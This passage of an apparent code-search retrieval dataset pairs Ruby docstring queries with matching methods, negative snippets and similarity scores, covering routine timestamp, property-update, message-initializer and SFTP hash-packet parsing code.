"0.5716421",
"0.57041603",
"0.5699874",
"0.56944835",
"0.56888896",
"0.5663254",
"0.5662798",
"0.5659291",
"0.5628966",
"0.56232786",
"0.5606083",
"0.559901",
"0.55954593",
"0.5582465",
"0.55782276",
"0.55740017",
"0.5572901",
"0.55608124",
"0.5551776",
"0.5548207",
"0.5547788",
"0.55378354",
"0.553545",
"0.5491189",
"0.5461206",
"0.5458095",
"0.54531825",
"0.5450351",
"0.5447033",
"0.5445703",
"0.54438114",
"0.5438126",
"0.5432484",
"0.5416097",
"0.5414835",
"0.54127365",
"0.5409246",
"0.5407948",
"0.53943783",
"0.5393536",
"0.5392422",
"0.53893435",
"0.5376238",
"0.5375499",
"0.53659",
"0.5362392",
"0.5359952",
"0.5352884",
"0.5352705",
"0.5352705",
"0.5352705",
"0.5352705",
"0.5352705",
"0.5352705",
"0.5349876",
"0.534559",
"0.534511",
"0.5344482",
"0.53373677",
"0.5336207",
"0.5336207",
"0.53291035",
"0.53281987",
"0.53072757",
"0.52994174",
"0.52986574",
"0.52966565",
"0.52921015",
"0.52793604",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278406",
"0.5278299",
"0.52700377"
] | 0.7059579 | 0 |
As above, but uses the API method to get only properties updated since a given date/time | def get_properties_updated_since(datetime)
year = datetime.year
month = "%02d" % datetime.month
day = "%02d" % datetime.day
hour = "%02d" % datetime.hour
minute = "%02d" % datetime.min
second = "%02d" % datetime.sec
base = API.compile(API::BASE_URI, client.config, {})
xml = client.call("#{base}/property/#{year}/#{month}/#{day}/#{hour}/#{minute}/#{second}").parsed_response
xml.css('propertieschanged property').map { |p| Vebra::Property.new(p, self) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end",
"def updated(opts={})\n ordered(:updated_at)\n date_time_filter(:updated_at, time_range(opts[:on], opts[:during], opts[:since], opts[:until]))\n self\n end",
"def records_modified_since(time)\n []\n end",
"def updated_at\n dateChanged\n end",
"def records_modified_since(time)\n condition = []\n %w(updated_at created_at).each do |col|\n condition << \"#{col} >= ?\" if column_names.include? col\n end\n if condition.empty?\n logger.warn \"#{self.name}: Override records_modified_since(time) to keep the index up to date with records changed during rebuild.\"\n []\n else\n find :all, :conditions => [ condition.join(' AND '), *([time]*condition.size) ]\n end\n end",
"def update \n update = object.updated_at\n end",
"def updated\n DateTime.parse(@json['project']['meta']['updated'])\n end",
"def contact_info_updated_since(t)\n return false if sdb_update_at.nil?\n t < sdb_update_at\n end",
"def updated_on\n updated_at\n end",
"def updated_since?(time)\n time < last_updated_at\n end",
"def get_updated_times\n @last_updated_time = Event.last_updated_datetime.to_s(:timepart)\n @last_updated_date = Event.last_updated_datetime.to_s(:listing_date)\n @last_updated_datetime = Event.last_updated_datetime\n end",
"def updated\n return @poco_data[:updated] unless @poco_data == nil\n upd = pick_first_node(@poco.xpath('./poco:updated'))\n if upd != nil\n DateTime.parse(upd)\n end\n end",
"def has_changed?\n updated_at > 8.hours.ago\n end",
"def updated\n DateTime.parse(@json['user']['meta']['updated'])\n end",
"def updated() read_attribute_w_fallbacks( :updated, :published ); end",
"def updated_time( params={} )\n updated_time = get_connections(\"updated_time\", params)\n return map_connections updated_time, :to => Facebook::Graph::Generic\n end",
"def remote_last_updated_at\n require 'rexml/document'\n doc = REXML::Document.new(request('update'))\n Time.iso8601(doc.root.attributes['time'])\n end",
"def photos_updated_since(date, options = {})\n raise Error::InvalidDateError unless valid_params?(date)\n url = generate_url(\n '/photos/updated_since/',\n { date: date }.merge(options)\n )\n Request.get(url)\n end",
"def updated_at\n @gapi[\"updated\"]\n end",
"def updated_time\n Time.parse(object[\"updated_time\"]) if object[\"updated_time\"]\n end",
"def time_ago\n updated_at.time_ago\n end",
"def updated\n watchers.find_all(&:updated?)\n end",
"def timestamp_attributes_for_update\n ['last_activity']\n end",
"def update_status_timestamp\n self.overall_status_modified_at = Time.zone.now\n end",
"def stale?\n updated_at < 2.weeks.ago || json == '{}'\n end",
"def changed_since since_date\n raise Exception.new(\"You need to implement this in your subclass of Harvester\")\n end",
"def test_property_last_used_date\n assert_kind_of(NilClass, @all_basic.entries[0].last_used_date)\n assert_kind_of(DateTime, @all_basic.entries[1].last_used_date)\n\n arg_filtered = @all_basic.where(last_used_date: DateTime.parse('2017-10-27T17:58:00Z'))\n assert_equal(1, arg_filtered.entries.count)\n assert arg_filtered.access_key_ids.first.end_with?('SALLY')\n\n block_filtered = @all_basic.where { last_used_date and last_used_date.friday? }\n assert_equal(1, block_filtered.entries.count)\n assert block_filtered.access_key_ids.first.end_with?('SALLY')\n end",
"def status_updated_date_time\n formatted_date_time(object.status_as_of)\n end",
"def update_all(properties={}, &block)\n # Since this may take a while, establish \"now\" at this point, and use that in comparisons\n # to determine whether or not to backdate.\n properties = properties.merge(:now => Time.now)\n updates = []\n entries.each do |id, entry|\n u = update(id, properties, &block)\n updates << u if u\n end\n updates\n end",
"def use_provided_modified_at\n @attributes[:use_provided_modified_at]\n end",
"def updated\n ## todo/fix: use a new name - do NOT squeeze convenience lookup into existing\n # db backed attribute\n read_attribute_w_fallbacks( :updated, :published )\n end",
"def last_updated\n\t\tupdated_at\n\tend",
"def get_status_changed_at\n return @m_status_changed_at\n end",
"def refresh\n update_attributes({:updated_at => DateTime.parse(Time.now.to_s)})\n end",
"def previous_changes_clean\n excluded_params = [:updated_at]\n excluded_params << :reset_at unless previous_changes[:reset_amount]\n previous_changes.except(*excluded_params)\n end",
"def _updated_at(target)\n result = rate(@original, target)\n \n result[:updated_at]\n end",
"def updated\n updated_at.utc.strftime(\"%F %T\") if updated_at\n end",
"def read_at\n updated_at_for_status \"read\"\n end",
"def stale?\n updated_at < 2.hours.ago\n end",
"def outdated; end",
"def latest_update\n latest_update = updated_at\n phases.each do |phase|\n if phase.updated_at > latest_update then\n latest_update = phase.updated_at\n end\n end\n return latest_update\n end",
"def unread_notifications_since_last_read\n notification.class.for_target(notification.target)\n .where(group_id: notification.group_id)\n .where(read_at: nil)\n .where('notify_user_notifications.created_at >= ?', last_read_notification.try(:read_at) || 24.hours.ago)\n .where.not(id: notification.id)\n .order(created_at: :desc)\n end",
"def outdated\n self_class.where(activity_column => ..outdated_last_reboot)\n end",
"def update_fields\n fieldlist = self.class.required_on_update + @newvalues.to_a - self.class.never_on_update\n @properties.select{|key, value| fieldlist.include?(key)}\n end",
"def record_update_time(record)\n # HACK: Models like PersonAddress are missing the preferred\n # `date_changed` field thus we are falling back to date_created\n if immutable_model?(record, true)\n return record_date_voided(record) || record.date_created\n end\n\n if record.class == DrugOrder\n order = Order.unscoped.find(record.order_id)\n return order.date_voided || order.date_created\n end\n\n if record.class == ProgramWorkflowState || record.class == ProgramWorkflow\n return record.date_changed || record.date_created\n end\n\n record_date_voided(record) || record.date_changed || record.date_created\n end",
"def status_effective_at\n object.status_effective_at.as_json\n end",
"def date() updated; end",
"def stale?(time = Time.now)\n updated_at < time\n end",
"def calc_content_updated_on\n time = created_on\n unless photos.empty? \n time = photos.last.created_on\n photos.each do |photo|\n unless photo.comments.empty?\n time = photo.comments.last.created_on if photo.comments.last.created_on > time\n end\n unless photo.likes.empty?\n time = photo.likes.last.created_on if photo.likes.last.created_on > time\n end\n end\n\n end\n invites.last.created_on > time ? invites.last.created_on : time\n end",
"def modified_at\n ensure_full_data!\n Time.at(@gapi[\"lastModifiedTime\"] / 1000.0)\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def date_updated\n Time.parse(@attrs['DateUpdated'])\n end",
"def properties_by_custom_update(properties)\n update_props = properties.reject do |p|\n p.update_url.nil? || p.update_verb.nil?\n end\n update_props.group_by do |p|\n { update_url: p.update_url, update_verb: p.update_verb }\n end\n end",
"def since_fetch_at(fetch_time)\n # Default to 0 to remain compatible with old clients\n last_fetched_at = Time.at(@params.fetch(:last_fetched_at, 0).to_i)\n\n @notes.where('updated_at > ?', last_fetched_at - FETCH_OVERLAP).fresh\n end",
"def update_received_modified\n self.received_at = Time.now if received_changed?\n end",
"def updated_at\n formatted_time(object.updated_at)\n end",
"def updated_at\n @updated_at ||= begin\n updated_dates = [self[:updated_at] || self[:created_at] || Date.null_date.to_time]\n updated_dates += self.captions.collect{|c| c.updated_at }\n \n updated_dates.compact.max\n end\n end",
"def updated_at\n @udpated_at ||=\n Utilities.utc_to_localtime(@ldap_entry[:whenchanged].first)\n end",
"def updated_at\n DateTime.parse((solr_document[\"updated_at_dtsi\"] || solr_document[\"timestamp\"] || solr_document[\"created_at_dtsi\"]).to_s).utc\n end",
"def updated_at(field = :updated_at)\n max = max_by{|o| o.send(field)}\n if max\n max.send(field)\n else\n Time.now\n end\n end",
"def updated(date_or_time = T.unsafe(nil)); end",
"def the_updated_at(format = :long)\n h.l(object.updated_at, format: format.to_sym)\n end",
"def preceeding_update_time(account_name)\n @trackers[account_name].preceeding_update_time\n end",
"def update_timestamp\n self.fields_last_modified = {\n columns_changeable: self.columns_changeable,\n columns_visible: self.columns_visible,\n filters: self.filters}.hash.to_s(36)[1..5]\n end",
"def updated_at\n @updated_at ||= Time.parse(@attributes['updated_at'])\n end",
"def updates_since? last_update\r\n return true unless self.updated_since(last_update).blank?\r\n return true unless self.problems.updated_since(last_update).blank?\r\n false\r\n end",
"def stale?\n (last_updated_at || Time.at(0)) < 5.minutes.ago\n end",
"def changes_since(path, from, to = \"HEAD\")\n if from.is_a?(Time) then\n return changes_since_time(path, from, to)\n else\n return changes_since_revision(path, from, to)\n end\n end",
"def notify_attribute_changes\n ignore = [\"updated_at\", \"user_id\"]\n changed.each do |property|\n delta = changes[property]\n event_name = \"user_update_item_#{property}\" \n ActivityLogger.send(event_name, :from => self.user, :for => [self], :changes => delta) unless ignore.include? property\n end \n end",
"def notify_attribute_changes\n ignore = [\"updated_at\", \"user_id\"]\n changed.each do |property|\n delta = changes[property]\n event_name = \"user_update_item_#{property}\" \n ActivityLogger.send(event_name, :from => self.user, :for => [self], :changes => delta) unless ignore.include? property\n end \n end",
"def updates(since = DateTime.now)\n DataStore.updates_for_project(self, since)\n end",
"def updated_at\n Time.at @updated rescue nil\n end",
"def fresh_at?(time)\n time >= updated_at\n end",
"def content_changed_since?(last_updated)\n stale?(:last_modified => last_updated)\n end",
"def update_timestamp\n self.fields_last_modified = {\n columns_changeable: columns_changeable,\n columns_visible: columns_visible,\n filters: filters\n }.hash.to_s(36)[1..5]\n end",
"def modified_at\n @photo.updated.to_datetime.utc\n end",
"def stale?\n unlocked? and item.has_attribute?(:updated_at) and updated_at < item.updated_at\n end",
"def viewed_at\n updated_at\n end",
"def extendbyfourteendays\n updated_at = Time.now\n end",
"def _update_timestamps\n if self.respond_to?('updated_at')\n self.updated_at = Time.now\n end\n end",
"def updated_at\n @updated_at ||= parse_or_at(@attrs[:updated_at]) if @attrs[:updated_at]\n end",
"def get_updates\n # TODO Rewrite this properly\n @_original ||= {}\n original_data = {}\n self.class.attributes.each_pair do |name, attrib|\n attrib.set(original_data, @_original[name])\n end\n updates = {}\n original_data.each_pair do |field, value|\n updates[field] = data[field] if data[field] != original_data[field]\n end\n updates\n end",
"def changes\n poll = @watch.objects.find { |obj| obj.name == \"pollChanges\" }\n\n poll.invoke.objects.find do |object|\n object.name == \"values\"\n end.objects\n end",
"def test_property_created_date\n assert_kind_of(DateTime, @all_basic.entries.first.created_date)\n\n arg_filtered = @all_basic.where(created_date: DateTime.parse('2017-10-27T17:58:00Z'))\n assert_equal(1, arg_filtered.entries.count)\n assert arg_filtered.access_key_ids.first.end_with?('BOB')\n\n block_filtered = @all_basic.where { created_date.friday? }\n assert_equal(1, block_filtered.entries.count)\n assert block_filtered.access_key_ids.first.end_with?('BOB')\n end",
"def update_updated_at_and_by\n #logger.info { \"FILTTERISSÄ: #{response.headers[\"Status\"]}\" }\n if response.headers[\"Status\"] =~ /^20/\n @collection.set_update_info(DateTime.now, (@user ? @user.guid : @client.id))\n # @collection.updated_at = DateTime.now\n # @collection.updated_by = @user ? @user.guid : @client.id\n # @collection.save\n\n end\n end",
"def last_update_at\n connection.get_metric_last_update_at(@id)\n end",
"def last_updated_time\n data[:last_updated_time]\n end",
"def recently_updated(min_date, args = {})\r\n args['min_date'] = min_date.to_i\r\n PhotoList.new('flickr.photos.recentlyUpdated', args)\r\n end",
"def updated\n Time.parse @node.at_xpath(\"atom:updated\", ::AtomFeed::NS).content\n end",
"def updated_at\n created_at\n end",
"def last_edited\n self.latest_update.to_date\n end",
"def last_updated_at\n [ self.calendar_items.accessible.maximum('nodes.created_at'), self.updated_at ].compact.max\n end",
"def has_beeen_updated_recently?( update_time )\n now = Time.now.utc\n ( (! update_time.nil?) && (update_time.year == now.year) && (update_time.month == now.month) && (update_time.day == now.day) &&\n (update_time.hour == now.hour) && (update_time.min == now.min) && ((now.sec - update_time.sec).abs < 7) )\n end",
"def update\n Time.xmlschema(get('posts/update', 'update')[0]['time'])\n end",
"def latest_update\n\t\tlatest_update = updated_at\n\t\tplans.each do |plan|\n\t\t\tif plan.latest_update > latest_update then\n\t\t\t\tlatest_update = plan.latest_update\n\t\t\tend\n\t\tend\n\t\treturn latest_update\n\tend",
"def _parse_stale_at\n if @response.current.observed_at\n utc_observed_at = @response.current.observed_at.utc\n utc_next_update = Time.utc(\n utc_observed_at.year, utc_observed_at.month, utc_observed_at.day,\n utc_observed_at.hour + 1, 0, 0\n )\n @response.current.stale_at = utc_next_update\n end\n end",
"def update_timestamps(columns_to_update)\n if model_class.columns.include?(:updated_at)\n columns_comparison = columns_to_update.map { |key|\n [\"#{model_class.table_name}__#{key}\".to_sym, \"excluded__#{key}\".to_sym]\n }.to_h\n update_condition = Sequel.~(columns_comparison) # only perform the update if at least one column differs\n updated_at_case = Sequel.case(\n [[update_condition, Sequel.function(:NOW)]],\n \"#{model_class.table_name}__updated_at\".to_sym # default value\n )\n { updated_at: updated_at_case }\n else\n { }\n end\n end",
"def rev\n updated_at\n end",
"def index\n @people = Person.scoped\n\n # Add last_modified header based on @people last update time.record\n # public value implies the cache can be stored in a proxy as Rack::Cache\n fresh_when last_modified: @people.maximum(:updated_at), public: true\n end",
"def updated\n Time.parse @doc.at_xpath(\"atom:feed/atom:updated\", ::AtomFeed::NS).content\n end"
] | [
"0.6603456",
"0.65178984",
"0.6430945",
"0.6363671",
"0.62921906",
"0.62649685",
"0.6155055",
"0.6077061",
"0.60664797",
"0.60591376",
"0.60414827",
"0.6038649",
"0.6032994",
"0.599959",
"0.59737206",
"0.59679276",
"0.5957975",
"0.59430337",
"0.59134734",
"0.5885404",
"0.587642",
"0.58671194",
"0.58548373",
"0.5850034",
"0.5843955",
"0.58062166",
"0.580161",
"0.5800788",
"0.5797887",
"0.57910997",
"0.57769805",
"0.5762538",
"0.5749238",
"0.57480997",
"0.5732576",
"0.5731072",
"0.5728463",
"0.57187015",
"0.57153577",
"0.57141185",
"0.5712797",
"0.56946504",
"0.5687558",
"0.5684516",
"0.56814134",
"0.5681393",
"0.56789887",
"0.5666262",
"0.5643675",
"0.56435084",
"0.56419426",
"0.56419426",
"0.56382555",
"0.56327444",
"0.56264573",
"0.5619457",
"0.56169784",
"0.560281",
"0.559173",
"0.557205",
"0.55621505",
"0.555834",
"0.5548582",
"0.55334",
"0.551723",
"0.5517208",
"0.5514078",
"0.5498734",
"0.5495684",
"0.5495684",
"0.5489233",
"0.54885453",
"0.5485374",
"0.5484999",
"0.5484678",
"0.54783684",
"0.5475395",
"0.54600656",
"0.54544675",
"0.5449512",
"0.54470944",
"0.54418427",
"0.54395133",
"0.54356456",
"0.543521",
"0.54275",
"0.542702",
"0.5426603",
"0.54228157",
"0.542154",
"0.54203576",
"0.5414598",
"0.54044676",
"0.5399889",
"0.53970075",
"0.53960294",
"0.5388143",
"0.53833973",
"0.5380014",
"0.5376757"
] | 0.7758782 | 0 |
encapsulation def initialize(username:, message:, id: nil) self.username, self.message = username, message | def initialize(hash)
hash.each do |k, v|
self.send("#{k}=", v) if self.respond_to?("#{k}=")
end
@id = hash["id"]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(message, user)\n @message = message\n @user = user\n end",
"def initialize(props={})\n @message = props['message']\n @username = props['username']\n @id = props['id']\n ALL << self\n end",
"def initialize message_id, sender_number, timestamp, text\n @message_id = message_id\n @sender_number = sender_number\n @timestamp = timestamp\n @text = text\n end",
"def initialize(message:)\n @message = message\n end",
"def initialize(message=nil)\n @message=message\n end",
"def initialize(message=nil)\n @message=message\n end",
"def initialize( message )\n @message = message\n end",
"def initialize message\n @message = message\n end",
"def initialize(message=nil)\n @message = message || self.class.message\n end",
"def initialize(id_message, text, seq, bot)\n\t\t\t@id = id_message\n\t\t\t@text = text\n\t\t\t@seq = seq\n\t\t\t@bot = bot\n\t\tend",
"def initialize(message)\n super(message)\n end",
"def initialize\n super(MESSAGE)\n end",
"def initialize(to: nil, from: nil, message: nil)\n @to = to\n @from = from\n @message = message\n super()\n end",
"def initialize(id, name, email)\n # TODO: Assign parameter values to instance variables.\n @name = name\n @email = email\n @id = id\n end",
"def initialize(id, name, email)\n # TODO: Assign parameter values to instance variables.\n @id = id\n @name = name\n @email = email\n end",
"def initialize(message, conf)\r\n @message = message\r\n @conf = conf\r\n end",
"def initialize(message, user)\n @message = message\n @user = user # reference to whoever the tweet belongs to\n\n @@all << self\n end",
"def initialize(attrs = {})\n @token = attrs['token']\n @channel = attrs['channel']\n @message = attrs['message']\n end",
"def init_message\n @message = Message.new(user_id: current_user.id, cabal_id: params[:id])\n end",
"def initialize(peer, id); @peer, @id = peer, id end",
"def initialize\n @id = -1\n @login = \"anonymous\"\n @name = \"Some User\"\n end",
"def initialize(name, email, id = nil)\n # Assign parameter values to instance variables.\n @name = name\n @email = email\n @id = id\n end",
"def initialize(username)\n @username = username\n end",
"def initialize(username)\n @username = username\n end",
"def initialize(username)\n @username = username\n end",
"def initialize(username)\n @username = username\n end",
"def initialize(username)\n @username = username\n end",
"def initialize(id, name, status, problem, message=nil)\n @id = id\n @name = name\n @status = status\n @problem = problem\n @message = message\n end",
"def initialize(message, input)\n super(message)\n @input = input\n end",
"def initialize(username, email, sports, info, subscription)\n @username = username\n @email = email\n @sports = sports\n @info = info\n @subscription = subscription\n end",
"def initialize(username, name)\n @username = username\n @name = name\n end",
"def initialize(options={})\n requires!(options, :sender_id, :channel_id, :login, :pwd)\n super\n end",
"def initialize(message, type = nil)\n @type = type\n super(message)\n end",
"def initialize(message, status)\n @message = message\n @status = status\n end",
"def initialize(arg)\n @user_id = arg['id']\n @username = arg['username']\n @password_digest = arg['password_digest']||nil\n @email = arg['email']\n @last_login = Time.now();\n @created_at = arg['created_at']||nil\n end",
"def initialize msgid, options = {}\n @msgid = msgid\n @msgstr = options[:msgstr] || \"\"\n @translator_comment = options[:translator_comment]\n @extracted_comment = options[:extracted_comment]\n @references = options[:references] || []\n @flags = options[:flags] || []\n end",
"def initialize(uin, msg)\n # Type uin (gg number) to integer, just to be sure\n @uin = uin.to_i\n # Convert incoming message into ISO-8859-2 just to be sure that\n # polish letters will be sent properly\n @message = StringEncoder.to_output(msg)\n end",
"def initialize(params={})\n @id = params['id']\n @userId = params['userId']\n @title = params['title']\n @body = params['body']\n end",
"def initialize(prefix,params,sender,message_type,raw_message)\n @prefix, @params, @sender, @message_type, @raw_message =\n prefix, params, sender, message_type, raw_message\n end",
"def initialize(opts={})\n self.from = opts[:from]\n self.to = opts[:to]\n self.message = opts[:message]\n self.subject = opts[:subject]\n end",
"def initialize(**args)\n @user_data = (args[:user_data] || {})\n @conversation_state = (args[:conversation_state] || DismalTony::ConversationState.new(idle: true, user_identity: self))\n \n possible = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a\n @user_data[:uuid] ||= (0..24).each_with_object([]) { |_n, i| i << possible.sample }.join\n end",
"def initialize(id, name, email, phone_number)\n # TODO: Assign parameter values to instance variables.\n @id = id\n @name = name\n @email = email\n @phone_number = phone_number\n end",
"def initialize(user_id, password)\n\t\t@user_id = user_id \n\t\t@password = password\n\tend",
"def initialize client, room_id, data\n super client, data\n\n @room_id = room_id\n\n @id = data[\"id\"]\n @user = User.new client, data[\"fromUser\"]\n @text = data[\"text\"]\n @html = data[\"html\"]\n @unread = data[\"unread\"]\n\n @read_by = data[\"readBy\"]\n @created_at = data[\"sent\"]\n @updated_at = data[\"editedAt\"]\n\n @mentions = data[\"mentions\"].map { |user| User.new client, user }\n @issues = data[\"issues\"]\n @urls = data[\"urls\"]\n end",
"def initialize(attributes)\n super(attributes)\n self.resource_name = attributes[:resource_name]\n self.method_name = attributes[:method_name]\n self.data = attributes[:data]\n self.message_id = attributes[:message_id] || rand(10**12)\n end",
"def initialize(member_options={})\n @id = member_options[\"id\"]\n @name = member_options[\"name\"]\n @username = member_options[\"username\"]\n end",
"def initialize(id, msg, opts = {})\n @neuron_ids = []\n @instance_id = id\n @message = msg\n end",
"def initialize(parameter)\n @parameter = parameter\n @message = ''\n end",
"def initialize(id, name, age, email)\n\t\t@id = id #@ makes an instance variable. This is how objects remember their data in an application.\n\t\t@name = name\n\t\t@age = age\n\t\t@email = email\n\n\tend",
"def initialize(id, name, email, role, color, nsfw)\n @id = id\n @name = name\n @email = email\n @hash = Digest::MD5.hexdigest(email)\n @role = role\n @color = color\n @nsfw = nsfw\n end",
"def initialize(from, to, provider, message)\n @from = from\n @to = to\n @provider = provider\n @message = message\n end",
"def initialize(id) @id = id; end",
"def initialize(id) @id = id; end",
"def initialize(id, email, address)\n @id = id\n @email = email\n @address = address\n end",
"def initialize(email_id, password)\n @email_id = email_id\n @password = password\n end",
"def initialize()\n\t\t@id = id\n\t\t@first_name = first_name\n\t\t@last_name = last_name\n\t\t@email = email\n\t\t@twitterID = twitterID\n\t\t@notes = notes\n\tend",
"def initialize(repo, msg, act=nil)\n @repo = repo\n @message = msg\n @actor = act\n end",
"def initialize(full_message, prefix, command, params)\n @full_message = full_message\n @prefix = prefix\n @command = command\n @params = params\n end",
"def initialize(id, first_name, last_name, email, note)\n @id = id\n @first_name = first_name\n @last_name = last_name\n @email = email\n @note = note\n end",
"def initialize(client, jid, pass)\n super()\n\n @error = nil\n @receiver = @client = client\n\n self.jid = jid\n @to = self.jid.domain\n @password = pass\n end",
"def initialize(message=nil, code=nil)\n super(message)\n @code = code\n end",
"def initialize(\n username: self.class.username,\n password: self.class.password\n )\n @username = username.to_s.clone\n @password = password.to_s.clone\n end",
"def initialize(first_name, last_name, username, email)\n @first_name = first_name\n @last_name = last_name\n @email = email\n @username = username\n end",
"def initialize(attributes)\n super(attributes)\n self.message_id = 'auth'\n self.status = attributes[:result]\n self.error = attributes[:error]\n end",
"def initialize(user_id: nil)\n @user_id = user_id\n end",
"def initialize(id, email, address)\n @id = id # this is an integer\n @email = email # this is a string\n @address = address # this is a hash\n end",
"def initialize(options = {})\n options = {\n :message_id => nil,\n :senders => [],\n :recipients => [],\n :cc_recipients => [],\n :bcc_recipients => [],\n :subject => \"\",\n :body => \"\",\n :date => nil\n }.merge(options)\n self.message_id = options[:message_id]\n self.senders = options[:senders]\n self.recipients = options[:recipients]\n self.cc_recipients = options[:cc_recipients]\n self.bcc_recipients = options[:bcc_recipients]\n self.subject = options[:subject]\n self.body = options[:body]\n self.date = options[:date]\n end",
"def initialize(params = {})\n set_error(params)\n set_message(params[:message])\n set_http_code(params[:http_code])\n @data = params[:data] || {}\n end",
"def initialize(message, node)\n self.node = node\n super(message)\n end",
"def initialize(values = {})\n @id = values[\"id\"]\n @user_name = values[\"user_name\"]\n end",
"def initialize(agent_id, kind, type, params)\n raise \"Unknown message.\" unless TYPES.include?(type)\n @agent_id = agent_id\n @type = type\n @kind = kind\n @params = params\n end",
"def initialize(connection)\n super connection\n self.header = Header.new\n self.message = Message.new\n self.body = \"\"\n end",
"def initialize(username, password)\n @username = username\n @password = password\n end",
"def initialize(username, password)\n @username = username\n @password = password\n end",
"def initialize(username, password)\n @username = username\n @password = password\n end",
"def initialize(id, first_name, last_name, options = {})\n @id = id\n @first_name = first_name\n @last_name = last_name\n @email = options[:email]\n @note = options[:note]\n end",
"def initialize(raw_message, message_body)\n assign_body(message_body)\n @id = raw_message.message_id\n @receipt_handle = raw_message.receipt_handle\n @sent_timestamp = raw_message.attributes['SentTimestamp']\n end",
"def initialize( text, user = nil )\n\t\t\t@comment = text\n\t\t\t@created = DateTime.now()\n\t\t\t@created_by = user == nil ? Etc.getlogin() : user\n\t\tend",
"def initialize(channel, body, level = nil, bare = false) \n raise 'channel not provided' if channel.nil? || channel.empty?\n raise 'message body not provided' if body.nil?\n @channel, @body, @level, @bare = channel, body, level || INFO, bare\n @timestamp, @uuid = Time.now, UUIDTools::UUID.timestamp_create unless @bare\n end",
"def initialize(msg, info = {}, execution_context: nil)\n super(msg)\n @info = info\n @execution_context = execution_context ? execution_context.dup : nil\n end",
"def initialize(options)\n @id = options['id']\n @title = options['title']\n @body = options['body']\n @user_id = options['user_id']\n end",
"def initialize(username)\n @suppressed = false\n @notifications = []\n\n @username = username\n @password = nil\n @urgent = @normal = @low = nil\n @email = @sms = @hipchat = nil\n \n @notify_when_on_holiday = @notify_when_off_sick = false \n end",
"def initialize(code, message)\n @code = code\n @message = message\n end",
"def initialize(message, user)\n # INSTANCE of THING\n # self ?????\n @message = message\n @user = user\n @@all << self\n end",
"def with_id(id)\n args = self.to_h\n args[:id] = id\n Message.new(args)\n end",
"def initialize(message)\n\t\t$stderr.puts \"#{@name}: initialize not overridden!\"\n\tend",
"def initialize(id, email, address)\n @id = id\n @email = email\n @address = address\n end",
"def initialize(first_name, last_name, email, note = 'Nothing to note...yet.')\n @first_name = first_name\n @last_name = last_name\n @email = email\n @note = note\n @id = @@id\n @@id += 1\n end",
"def initialize(msg, original=$!)\n super(msg)\n @original = original;\n end",
"def initialize(client, user_id)\n @client = client\n @user_id = user_id\n end",
"def initialize(client, username, info = {})\n super(client)\n @username = username\n @password = info[:password]\n @realname = info[:realname]\n @email = info[:email]\n @publicvisible = info[:publicvisible]\n end",
"def initialize(message, cause=nil)\n super(message)\n #self._message = message\n #self._cause = cause\n end",
"def initialize(status = nil, message = nil, data = nil, code = nil)\n @status = status\n @message = message\n @data = data\n @code = code\n end",
"def initialize(id)\n\t\t@id = id\n\tend",
"def initialize username, apikey\n\t\t@username = username\n\t\t@apikey = apikey\n\tend",
"def initialize(args)\n @to = \"#{args['to_name']} <#{args['to']}>\"\n @from = \"#{args['from_name']} <#{args['from']}>\"\n @subject = args['subject']\n @text = args['body']\n end",
"def initialize(args = [])\n @id = \"No information available\"\n @first_name = \"No information available\"\n @last_name = \"No information available\"\n @gender = \"No information available\"\n @age = \"No information available\"\n @birthdate = \"No information available\"\n end",
"def initialize(text, id: nil)\n @text = text\n @id = id || generate_id\n end",
"def initialize(username,password)\n @username = username\n @password = password\n end",
"def initialize(name, message = \"\", options = {}, &block)\n @name, @message, @block = name, message, block\n @author = options.delete(:author)\n @date = SvnFixture.svn_time(options.delete(:date))\n @revprops = options\n end",
"def initialize(msg, args={})\n super\n @response = args.to_smash[:response]\n @message = msg\n extract_error_message(@response)\n end"
] | [
"0.83446145",
"0.8219996",
"0.786741",
"0.78020936",
"0.77989054",
"0.77989054",
"0.77430224",
"0.77419746",
"0.7601657",
"0.7498705",
"0.7433136",
"0.7277399",
"0.70658934",
"0.7062066",
"0.70483077",
"0.7047076",
"0.70361865",
"0.7020211",
"0.6978676",
"0.6961429",
"0.6953323",
"0.69465095",
"0.69236606",
"0.69236606",
"0.69236606",
"0.69236606",
"0.69127977",
"0.689935",
"0.68885255",
"0.68835014",
"0.6878929",
"0.6875865",
"0.68558097",
"0.68555987",
"0.68407744",
"0.6839685",
"0.6838854",
"0.6831744",
"0.68231416",
"0.68177056",
"0.6805694",
"0.6799604",
"0.67855215",
"0.67849946",
"0.67672676",
"0.6766069",
"0.676181",
"0.6752981",
"0.6743014",
"0.6734368",
"0.67325354",
"0.67279017",
"0.67279017",
"0.67242825",
"0.67220163",
"0.6712544",
"0.6711797",
"0.67032087",
"0.6683255",
"0.66803604",
"0.6679314",
"0.66507804",
"0.6643179",
"0.6635647",
"0.663314",
"0.66280055",
"0.66203296",
"0.6613741",
"0.6608132",
"0.66066587",
"0.66027457",
"0.65999883",
"0.65996563",
"0.65996563",
"0.65996563",
"0.65913016",
"0.65894145",
"0.6588957",
"0.658783",
"0.6582895",
"0.6579045",
"0.6573738",
"0.65627736",
"0.6561273",
"0.65599906",
"0.6558973",
"0.6550955",
"0.6546672",
"0.65276253",
"0.65239346",
"0.6522603",
"0.65188426",
"0.65070903",
"0.6496855",
"0.6493208",
"0.64918053",
"0.6491759",
"0.64831483",
"0.64799976",
"0.64793545",
"0.6475398"
] | 0.0 | -1 |
Parses the given "checkfile" FXP_EXTENDED_REPL packet and returns a hash with two keys, :algo, which references the hash algorithm used and :hashes which references the computed hashes. | def parse_hash_packet(data)
hashes = []
algo = data.read_string
size = case algo
when "md5" then 128
when "sha256" then 256
when "sha384" then 284
when "sha512" then 512
else raise NotImplementedError, "unsupported algorithm: #{algo}"
end
while !data.eof? do
hashes << data.read(size)
end
{ :algo => algo, :hashes => hashes }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n [check_id, exceptions, key, links, port, proof, protocol, since, status].hash\n end",
